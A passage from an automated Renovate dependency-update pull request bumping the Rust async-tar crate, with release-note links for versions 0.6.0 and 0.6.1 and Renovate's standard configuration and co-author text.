Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1) ### [`v0.6.0`](https://redirect.github.com/dignifiedquire/async-tar/releases/tag/v0.6.0): - Tokio Support [Compare Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.5.1...v0.6.0) </details> --- ### Configuration 📅 **Schedule**: (in timezone America/New_York) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- Release Notes: - N/A <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI0Mi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119--> --------- Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Kirill Bulatov <kirill@zed.dev> |